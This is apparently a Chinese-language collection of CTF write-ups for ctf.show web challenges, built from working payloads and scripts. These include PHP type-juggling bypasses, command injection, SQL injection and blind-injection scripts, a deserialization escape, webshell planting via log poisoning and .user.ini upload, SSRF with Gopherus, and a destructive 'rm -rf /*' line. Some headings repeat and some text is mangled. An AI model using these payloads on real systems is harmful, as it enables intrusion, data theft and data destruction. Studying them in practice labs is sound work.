-----萌新计划web-----
web1
分析:需要满足id=1000,同时intval($id) > 999要返回false(intval是将变量取整(注:如果变量是小数,那么变量小数位不能为0,如果为0,会被认为是整数))
方法一:使用’1000’字符串('1000’进行intval后还是1000)
方法二:125<<3(注8000>>3不行)
方法三:使用680|320
方法四:使用hex(16进制绕过)
intval使用举例
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42.88, 8); // 42//思路:这里是先将42.88取整,取整后为42,因为不是字符串,将42当做10进制数转换,转换成10进制数,也就是本身,最后结果42
echo intval('42', 8); // 34//思路:因为这个是字符串,base有效,将42当做8进制数转换成十进制数
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
web2
继续使用’1000’来绕过
web3
继续使用’1000’来绕过
web4
继续使用’1000’来绕过
web5
过滤了’,这里我们用^
使用144^888来绕过
web6
使用~~1000绕过(~表示取反)
web7
使用二进制绕过(0b开头表示二进制)
0b1111101000
web9
?flag=rm -rf /* 删库跑路
web9
代码的意思是需要传递到参数c中包含system|exec|highlight
?c=highlight_file("config.php");
web10
c=$x='sys';$y='tem';$z=$x.$y;$z('cat config.php');
web11
类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq.
c=$a='sys';$b='tem';$z=$a.$b;$z('more config.php');
当然我们也可以单引号或者双引号或者反斜杠绕过system('ca""t config.php') ca\t config.php
web12
过滤了文件名,利用base64编解码
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
web13
过滤了逗号
常见的系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
c=passthru("ca''t `ls`")?> 相当于将 ls出来的结果cat,使用?>闭合语句。
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量
web14
过滤了括号
?c=echo `$_POST[a]`?>,以post方式传入a=cat config.php
web15
?c=echo `$_POST[a]`;
post传:
a=cat config.php
web16
官网群有个36d的梗
import hashlib
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload=''
for i in str1:
for j in str1:
for k in str1:
s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
#print(type(s))
if s=='a6f57ae38a22448c2f07f3f95f49c84e':
print(i+j+k)
?c=36d
web17
禁了远程文件包含,所以只能日志包含,并把一句话写入请求头中。
蚁剑连接得flag
web18
用web17方法解
web19
用web17方法
web20
用web17方法
web21
用web17方法
----------月饼杯----------
web1_此夜圆
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这里由于只能get传入一个1参数,最后经反序列化后password==='yu22x'
就能拿到flag。
而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸
#示例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));
#得出
array(1) {
[0]=>
string(3) "abc"
}
也就是说,反序列化出来就会把后面的忽略掉。
此题默认password=1,反序列化后就会生成s:8:"password";i:1;
。
而我们可以自己构造s:8:"password";s:5:"yu22x";
。
尝试一下在本地传入Firebasky";s:8:"password";s:5:"yu22x";}
$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
序列化结果
O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
这里由于我们传入的字符串有39位,把我们需要的password也给覆盖了
";s:8:"password";s:5:"yu22x";}
的长度为30,而每输入一个Firebasky被替换成Firebaskyup,长度保持不变,也就可以逃逸出2个字符。所以这里需要15个Firebasky就能逃逸出30个字符。
所以最终payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
题目hint:
存在一个robots.txt
第一关
is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0
?a=1e-162
,尝试后发现数只要在-323
到-162
之间的都可以。
第二关
($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))
跟以前的md5类似啊。用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以。
访问robots.txt,得到hinthint.txt,内容
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
脚本:
<?php
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
能得到b=0e652024452,c=0e603448399。
第三关
php遇到不认识的协议就会当目录处理,例如a://aaa/…/…/etc/passwd之类的。
url=a://ctfshow.com/../../../../../../../fl0g.txt
web3_莫负婵娟
查看源码:
看来是like注入了。
like模糊查询可以使用%匹配多个字符,匹配单个字符。
尝试后发现%被过滤,不过下划线()并没有被过滤。
这里就需要猜测password的位数了,好家伙,竟然密码有32位。如果小于或大于32个_都会报wrong username or password。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
既然这样,就可以爆破出密码。
脚本:
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
密码为67815b0c009ee970fe4014abaa3Fa6A0。
填入密码来到/P1099.php界面。
在这里插入图片描述
Normal connection表示正常连接
Abnormal connection表示异常连接;
evil input表示被过滤了。
尝试发现过滤了一堆,就连a都过滤了。那就FUZZ跑可显示的字符,看看都过滤了什么
小写字母全被过滤。大写字母、数字、$
、:没被过滤。
linux里有一个环境变量$PATH,可以用它来构造小写字母执行命令。
尝试构造ls得到flag.php。
ip=0;${PATH:5:1}${PATH:2:1}
构造nl flag.php右键查看源代码得到flag
ip=0;${PATH:14:1}${PATH:5:1} ????.???
查看源码得flag
----------萌新赛----------
签到题
可以看到有一个system函数
在Linux中可以使用“;”隔离不同的语句
?url=127.0.0.1;ls;1
然后再:
?url=127.0.0.1;cat%20flag;1
假赛生
给出提示
我们进入题目看到:
根据提示,我们先register.php进行注册
输入admin 1
不行?我们输入admin空格 1
我们去登录(这里登录用admin不用空格)
you are admin
接下来绕过正则匹配
令c为空,直接绕过拿到flag
[BJDCTF 2nd]elementmaster
翻译:我是全部118个元素的元素大师!你可能没有感觉,但是放射性射线的症状会无声的杀死你。
查看源码:
发现id处两串十六进制很奇怪,转换一下得到
0x506F2E ==> Po.
0x706870 ==> php
结合上面,脚本:
import requests
url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
得到结果And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问得到flag
----------web----------
web1
查看源码
进行base64解码
web2
首先我们尝试使用万能密码
admin
'or 1=1#
登陆成功
使用联合查询来查询回显位置
1’ or 1=1 union select 1,2,3 #
爆表
1’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆字段
1’ or 1=1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name=‘flag’#
1’ or 1
web3
php伪协议+文件包含+命令执行
php伪协议:
php://filter、 file://可以访问本地的文件
zip:// 、phar:// 可以访问本地压缩文件
php://input post 写入php代码
data:text/plain,php代码
详细如下表:
web4
老套路使用php伪协议 已经不行了。
那么我们进行 日志注入 获取shell
这里我们输入默认目录获取日志 ?url=/var/log/nginx/access.log
这里要参数中输入一句话木马 <?php @eval($_POST['a']);?>防止在重新发包是被URL编码,假如没有这样做就会出现下面情况
在UA中插入一句话木马
然后用蚁剑连接:
法二:
远程文件包含
使用自己的公网地址,或者可以在这个网站免费注册域名https://natapp.cn/,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接菜刀连接。(不懂,以后再试吧)
web5
v1要为字母,v2要为数字,而且两者md5值相等
解法:构造 v1=QNKCDZO&v2=240610708。
md5漏洞介绍: PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以只要v1与v2的md5值以0E开头即可。
这里附上常见的 0E 开头的MD5:
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
web6
尝试用万能密码登录,却:
猜测应该是过滤了什么,去尝试。发现过滤了空格。
一般空格被过滤有如下替换方法:
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
我们这里选择/**/
使用联合查询回显位:
1'/**/union/**/select/**/1,2,3#
爆表:
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
爆字段:
1’//union//select//1,group_concat(column_name),3//from//information_schema.columns//where//table_name=‘flag’#
1’//union//select//1,flag,3//from//flag#
爆出flag
观字
可以知道过滤了好多东西
url=http://192。168。7。68/flag
观图
查看源码发现东西
然后再访问:
openssl_decrypt加密函数
不知道rand()是多少,所以需要脚本爆破
/*author 羽 */
<?php
for($i=0;$i<32768;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str." ");
print($i);
break;
}
}
?>
得到i=27347 那么key我们就得到了,直接加密config.php就行啦
<?php
/*author 羽 */
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo urlencode($str);
//N6bf8Bd8jm0SpmTZGl0isw%3D%3D
?>
最后访问http://0203f7d4-4546-42a7-ae32-313f2ce46adf.chall.ctf.show/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw%3D%3D即可得到一张无法显示的图片,ctrl+s保存后记事本查看即可。
WEB签到
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
第一个参数 callback 是被调用的回调函数;
其余参数是回调函数的参数;
返回回调函数的返回值。
传入?f=phpinfo后搜索1024能找到一个支持的函数ctfshow_1024。
传入?f
web9
在robots.txt 发现提示信息。
打开有源码
源码发现可控参数只有password了
注意这里的 md5加密格式 md5($password,true)
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or’6
web10
查看源码:
点击发现:
输入下载到了:
这里正则匹配了select,from,where,join,sleep,and,\s(空格)union这些关键词替换为空,又比较strlen(u s e r n a m e ) 和 sstrlen(replaceSpecialChar(username)的长度,导致不能用双写绕过
这时候,我们要用到group by和roll with(以下图从别的师傅那拿的)
group by(将结果集中的数据行根据选择列的值进行逻辑分组):
不加group为
在使用group by以后会按照password中的值进行排列:
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
方法:
加入with rollup后 password有一行为NULL。
payload在用户名框中进行输入,密码框不输入,使其为空,满足p a s s w o r d = = passwordpasswordrow[‘password’]
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
web11
打开网站显示如下源码:
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
和web10有很多相同的地方,但是这一题出flag的条件是 $password==$_SESSION['password']
,password是由我们自己输入的session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
F12开审查元素。
web12
查看源码:
发现提示?cmd=。
在网站上输入?cmd=phpinfo();
有回显,猜测源码中应该为eval($_GET['cmd']);
在eval执行漏洞中我们可以查看网页的源代码。我们输入
?cmd=highlight_file("index.php");
成功显示网站源码。
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("*")
匹配任意文件
glob("*.txt")
匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob("*"));
打印出了如下文件
使用文件高亮命令,读出这个文件的PHP代码。
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web13
当时做的时候,按照常规流程做了一些尝试,尝试上传了php文件,图片马等等,发现后端把php后缀的文件过滤了,同时对文件的大小有一定的限制。
没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码。
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
我们发现了上传文件的要求,文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然小于等于24可以这样写<?php eval($_GET[‘c’]);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.先上传.user.ini,内容为
auto_prepend_file=b.txt
2.然后上传b.txt,这样的话,每次调用php文件,都会自动包含b.txt文件,b.txt文件的内容为,内容太长会引起报错
<?php
eval($_GET['c']);
这里在checkin那个题目可以用菜刀,但是在实践的时候菜刀链接成功,但是没有其他文件的访问权限,所以在这个题目中推荐下面这个找flag的做法。
3.首先把目录文件找出来:下面这个多试几下
?c=print_r(glob("*"));
4. flag应该就在比较长的文件中了,highlight_file()该文件
?c=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web14
输入?c=1
没有什么 再输入?c=3
我们打开这个php文件看看,是个查询界面。
查看源码:
<!--
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
-->
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。那么可能flag并不是在数据库中。
我们使用sql 的 load_file 命令,读取本地文件。在前面我们看到了有个secret.php文件。
here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
查看源码:
<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')</script>
也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
萌新专属红包题
账号密码为admin和admin888.
登陆后进行抓包,然后再发一次得到flag
再base64解码一下即可
红包题 耗子尾汁
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
hackerrlezphp!!!
简单分析:
传入参数a与b,如果a不在黑名单当中,那么则会调用forward_static_call_array函数
从官方说明当中可以知道forward_static_call_array — Call a static method and pass the arguments as array,也就是可以调用静态方法并且将数组作为参数
参考前置知识payload:a=\system&b[]=ls
之后a=\system&b[]=cat flag.php
查看源码得flag
非预期解
从spaceman那里学到的套娃a=forward_static_call_array&b[0]=system&b[1][0]=ls
红包题 葵花宝典
直接注册,登陆,拿到flag
新年好?
payload:/flag?delay=2147483648
setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行
红包题第九弹
登录界面 输入账号密码进行抓包:
在输入username和密码那里好像有ssrf,输入一个http://www.baid.com,看它有没有返回百度的页面,有则存在ssrf漏洞,经测试是有的
题目提示:
但是还是要试下file读取本地文件,看下有没flag.txt
经测试是没有的,那就按题目的提示,ssrf攻击mysql,这里用到gopher协议和gopherus工具。
gopherus工具
https://github.com/tarunkant/Gopherus
生成了一段数字,复制这串数字
放在刚才抓包u=sss&returl= 后面,直接放松是不可以的,要url编码
回到页面中,看下有没有1.php ,出现这样就说明已经写入了
现在就用蚁剑连接
补充知识:
web7
猜测是过滤了空格:
果然是过滤了空格
-1/**/union/**/select/**/1,2,3#
盲猜flag from flag
web8
过滤了逗号
直接上脚本(同样适用于web7)
# coding=gbk
import requests
s=requests.session()
url='http://712aa60c-e302-4ed1-94ee-cd3a95e3e717.challenge.ctf.show:8080/index.php'
table=""
"""
' and ascii(substr((select database()),1,1))=xx #
这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样
' and ascii(substr((select database())from 1 for 1))=xx #
这应该是substring函数的两种用法
"""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
原谅4
payload:?xbx=php -f /flag
php -f 运行指定文件